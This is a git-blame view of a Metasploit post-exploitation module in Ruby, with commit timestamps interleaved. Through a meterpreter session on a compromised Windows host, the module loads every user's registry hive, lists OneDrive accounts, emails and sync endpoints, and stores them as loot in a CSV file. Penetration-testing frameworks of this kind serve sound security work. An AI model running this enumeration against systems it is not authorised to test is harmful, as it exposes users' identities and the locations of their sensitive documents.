Files
metasploit-gs/modules/post/windows/gather/enum_onedrive.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

201 lines
6.5 KiB
Ruby
Raw Normal View History

2021-01-07 17:42:28 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Registry
2021-01-07 18:19:53 +00:00
include Msf::Post::Windows::UserProfiles
2021-01-07 17:42:28 +00:00
2021-01-07 21:02:04 +00:00
SYNC_ENGINES_KEYS = ['LibraryType', 'LastModifiedTime', 'MountPoint', 'UrlNamespace'].freeze
ONEDRIVE_ACCOUNT_KEYS = ['Business', 'ServiceEndpointUri', 'SPOResourceId', 'UserEmail', 'UserFolder', 'UserName'].freeze
PERSONAL_ONEDRIVE_KEYS = ['UserEmail', 'UserFolder'].freeze
2021-01-07 17:42:28 +00:00
def initialize(info = {})
2021-01-07 21:02:04 +00:00
super(
update_info(
info,
'Name' => 'OneDrive Sync Provider Enumeration Module',
'Description' => %q{
This module will identify the Office 365 OneDrive endpoints for both business and personal accounts
across all users (providing access is permitted). It is useful for identifying document libraries
that may otherwise not be obvious which could contain sensitive or useful information.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
2021-01-07 21:02:04 +00:00
)
)
2021-01-07 17:42:28 +00:00
end
def display_report(sid, info, sync_used, sync_all, results_table)
2021-01-07 19:24:56 +00:00
info.each do |key, result|
2021-01-07 21:02:04 +00:00
next if result['ScopeIdToMountPointPathCache'].nil? || result['ScopeIdToMountPointPathCache'].empty?
2021-01-07 19:34:11 +00:00
row = []
print_line
2021-01-07 19:24:56 +00:00
print_line " #{key}"
2021-01-07 21:02:04 +00:00
print_line " #{'=' * key.length}"
2021-01-07 19:24:56 +00:00
print_line
2021-01-07 20:00:42 +00:00
row << sid
row << key
2021-01-07 19:34:11 +00:00
ONEDRIVE_ACCOUNT_KEYS.each do |col|
2021-01-07 20:00:42 +00:00
row << result[col].to_s
2021-01-07 21:02:04 +00:00
if result['Business'] == '1' || PERSONAL_ONEDRIVE_KEYS.include?(col)
print_line " #{col}: #{result[col]}"
2021-01-07 19:34:11 +00:00
end
2021-01-07 19:24:56 +00:00
end
2021-01-07 21:02:04 +00:00
result['ScopeIdToMountPointPathCache'].each do |scopes|
2021-01-07 20:00:42 +00:00
subrow = row.clone
2021-01-07 19:24:56 +00:00
print_line
SYNC_ENGINES_KEYS.each do |sync|
2021-01-07 20:00:42 +00:00
subrow << scopes[sync].to_s
2021-01-07 21:02:04 +00:00
print_line " | #{sync}: #{scopes[sync]}"
2021-01-07 19:24:56 +00:00
end
2021-01-07 20:00:42 +00:00
results_table << subrow
2021-01-07 17:42:28 +00:00
end
end
sync_all_list = []
2021-01-08 14:32:18 +00:00
sync_all.each do |key, _result|
sync_all_list.push(key)
end
diff = sync_all_list - sync_used
2021-01-08 14:32:18 +00:00
if !(diff.nil? || diff.empty?)
print_line
2021-01-08 14:32:18 +00:00
print_line ' ORPHANED'
print_line ' ========'
diff.each do |scopeid|
csvrow = []
print_line
# Augment the CSV
csvrow << sid
2021-01-08 14:32:18 +00:00
csvrow << ''
ONEDRIVE_ACCOUNT_KEYS.each do |_od|
csvrow << ''
end
SYNC_ENGINES_KEYS.each do |sync|
csvrow << sync_all[scopeid][sync]
print_line " #{sync}: #{sync_all[scopeid][sync]}"
end
results_table << csvrow
end
end
2021-01-07 17:42:28 +00:00
end
2021-01-07 21:02:04 +00:00
def get_syncengine_data(master, syncengines)
2021-01-07 18:19:53 +00:00
all_syncengines = {}
syncengines.each do |sync_provider| # Sync provider names are normally Personal for personal accounts
2021-01-28 15:56:48 +00:00
# or a hash value that is unique to each business account.
tmp_sync_provider_info = {}
2021-01-07 18:19:53 +00:00
SYNC_ENGINES_KEYS.each do |key|
tmp_sync_provider_info[key] = registry_getvaldata("#{master}\\#{sync_provider}", key).to_s
2021-01-07 18:19:53 +00:00
end
all_syncengines[sync_provider] = tmp_sync_provider_info
2021-01-07 18:19:53 +00:00
end
all_syncengines
end
2021-01-07 21:02:04 +00:00
def get_onedrive_accounts(reg, accounts, syncdata)
2021-01-07 18:54:30 +00:00
all_oda = {}
synctargets_used = []
ret = {}
2021-01-07 18:54:30 +00:00
reg.each do |ses|
newses = {}
scopeids = registry_enumvals("#{accounts}\\#{ses}\\ScopeIdToMountPointPathCache")
next if scopeids.nil? || scopeids.empty?
2021-01-07 18:54:30 +00:00
ONEDRIVE_ACCOUNT_KEYS.each do |key|
newses[key] = registry_getvaldata("#{accounts}\\#{ses}", key).to_s
end
2021-01-07 21:02:04 +00:00
newses['ScopeIdToMountPointPathCache'] = []
scopeids.each do |sid|
target = syncdata[sid]
2021-01-07 21:02:04 +00:00
if newses['Business'] != '1'
target = syncdata['Personal']
synctargets_used.push('Personal')
else
synctargets_used.push(sid)
2021-01-07 18:54:30 +00:00
end
2021-01-07 21:02:04 +00:00
newses['ScopeIdToMountPointPathCache'].push(target)
2021-01-07 18:54:30 +00:00
end
all_oda[ses] = newses
end
ret['oda'] = all_oda
ret['synctargets_used'] = synctargets_used
ret
2021-01-07 18:54:30 +00:00
end
2021-01-07 17:42:28 +00:00
def run
2021-01-07 18:54:30 +00:00
# Obtain all user hives
2021-01-07 21:02:04 +00:00
userhives = load_missing_hives
got_results = false
2021-01-07 18:54:30 +00:00
# Prepare the results table
results_table = Rex::Text::Table.new(
'Header' => 'OneDrive Sync Information',
'Indent' => 1,
'SortIndex' => -1,
'Columns' => ['SID', 'Name'] + ONEDRIVE_ACCOUNT_KEYS + SYNC_ENGINES_KEYS
)
if userhives.nil? || userhives.empty?
2021-01-28 15:56:48 +00:00
fail_with(Failure::UnexpectedReply, 'Unable to load the missing hives needed to enumerate the target!')
end
2021-01-07 18:54:30 +00:00
# Loop through each of the hives
userhives.each do |hive|
2021-01-07 21:02:04 +00:00
next if hive['HKU'].nil?
2021-01-07 19:24:56 +00:00
print_status("Looking for OneDrive sync information for #{hive['SID']}")
2021-01-07 18:54:30 +00:00
master_key = "#{hive['HKU']}\\Software\\SyncEngines\\Providers\\OneDrive"
saved_syncengines = registry_enumkeys(master_key)
if saved_syncengines.nil? || saved_syncengines.empty?
print_error("(#{hive['HKU']}) No OneDrive accounts found.")
2021-01-28 15:56:48 +00:00
next
end
2021-01-28 15:56:48 +00:00
2021-01-07 18:54:30 +00:00
# Obtain the sync endpoints from the above subkey
all_syncengines = get_syncengine_data(master_key, saved_syncengines)
str_onedrive_accounts = "#{hive['HKU']}\\Software\\Microsoft\\OneDrive\\Accounts"
reg_onedrive_accounts = registry_enumkeys(str_onedrive_accounts)
if reg_onedrive_accounts.nil? || reg_onedrive_accounts.empty?
print_error("(#{hive['HKU']}) No OneDrive accounts found.")
2021-01-28 15:56:48 +00:00
next
end
result = get_onedrive_accounts(reg_onedrive_accounts, str_onedrive_accounts, all_syncengines)
2021-01-07 18:54:30 +00:00
if result['oda'].nil? || result['oda'].empty?
print_error("(#{hive['HKU']}) No OneDrive accounts found.")
2021-01-28 15:56:48 +00:00
next
end
got_results = true
print_good("OneDrive sync information for #{hive['SID']}")
display_report(hive['SID'], result['oda'], result['synctargets_used'], all_syncengines, results_table)
2021-01-07 17:42:28 +00:00
end
2021-01-07 18:54:30 +00:00
print_line
if got_results
stored_path = store_loot('onedrive.syncinformation', 'text/csv', session, results_table.to_csv, 'onedrive_syncinformation.csv', 'OneDrive sync endpoints')
print_good("OneDrive sync information saved to #{stored_path} in CSV format.")
end
2021-01-07 18:54:30 +00:00
# Clean up
unload_our_hives(userhives)
2021-01-07 17:42:28 +00:00
end
end